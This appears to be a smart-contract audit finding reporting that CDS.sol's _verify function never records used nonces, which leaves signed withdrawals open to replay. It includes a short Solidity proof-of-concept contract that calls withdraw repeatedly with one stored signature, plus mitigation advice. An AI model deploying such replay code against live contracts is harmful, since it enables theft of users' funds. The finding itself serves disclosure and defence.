Skip to content

Latest commit

 

History

History
97 lines (69 loc) · 3.86 KB

092.md

File metadata and controls

97 lines (69 loc) · 3.86 KB

Mythical Burgundy Puppy

High

[High] Lack of Nonce-Tracking in Signature Verification Allows Replay Attacks

Summary

The lack of nonce tracking in the _verify function will cause potential replay attacks for the protocol as an attacker can reuse valid signatures multiple times.

Root Cause

In CDS.sol:878-917, the _verify function does not store, track, or invalidate used nonces after successful verification. Although the signed message includes a nonce, the contract never updates an internal state variable to record that this nonce has been consumed, allowing the same signature to be replayed multiple times.

Internal pre-conditions

  1. A valid signature from hashedAdminTwo must be obtained for a specific action (e.g., CDS_WITHDRAW).
  2. The nonce included in the signed message is not recorded or invalidated within the contract.

External pre-conditions

None. The attacker only needs a previously valid signature. Once they have it, no external conditions are needed to replay it.

Attack Path

  1. An attacker obtains a valid signature from the authorized signer (hashedAdminTwo) for a privileged action (e.g., withdraw in CDS_WITHDRAW mode).
  2. The attacker calls the function requiring the signature (withdraw) using the previously obtained valid signature and nonce.
  3. Due to the lack of nonce tracking, the contract considers the signature valid again and executes the action repeatedly.
  4. The attacker can replay this action multiple times, resulting in repeated unauthorized withdrawals or any action protected by the signature mechanism.

Impact

The protocol suffers from unlimited replay of previously authorized actions, potentially allowing attackers to drain funds or repeatedly perform privileged operations. This can lead to severe financial losses and erode user and investor trust in the protocol.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

// Interface to interact with the vulnerable CDS contract
interface ICDS {
    // A hypothetical function that requires a valid signature for a privileged action
    function withdraw(
        uint64 index,
        uint256 excessProfitCumulativeValue,
        uint256 nonce,
        bytes memory signature
    ) external payable;
}

contract ReplayAttack {
    ICDS public cds;
    
    // Store a previously valid signature obtained by attacker
    bytes public storedSignature;
    uint256 public storedNonce;
    uint256 public storedExcessProfit;
    uint64 public storedIndex;

    constructor(
        address _cdsAddress,
        uint64 _index,
        uint256 _excessProfitCumulativeValue,
        uint256 _nonce,
        bytes memory _signature
    ) {
        cds = ICDS(_cdsAddress);
        storedIndex = _index;
        storedExcessProfit = _excessProfitCumulativeValue;
        storedNonce = _nonce;
        storedSignature = _signature;
    }

    // Exploit function to replay the same signature multiple times
    function exploit() external payable {
        // Call `withdraw` repeatedly with the same signature and nonce
        cds.withdraw(storedIndex, storedExcessProfit, storedNonce, storedSignature);
        cds.withdraw(storedIndex, storedExcessProfit, storedNonce, storedSignature);
        // ... Can keep calling this indefinitely
    }
}

Mitigation

Implement Nonce Tracking:

Introduce a state variable (e.g., mapping(uint256 => bool) usedNonces;) to track used nonces. After a valid signature is processed, mark the nonce as used to prevent replay.

Add Replay Protection in Documentation and Testing:

Document the nonce usage in code comments and create tests ensuring that reused signatures fail.

Consider Time-Limited Signatures or Other Measures:

If appropriate, consider additional security measures like expiration timestamps on signatures.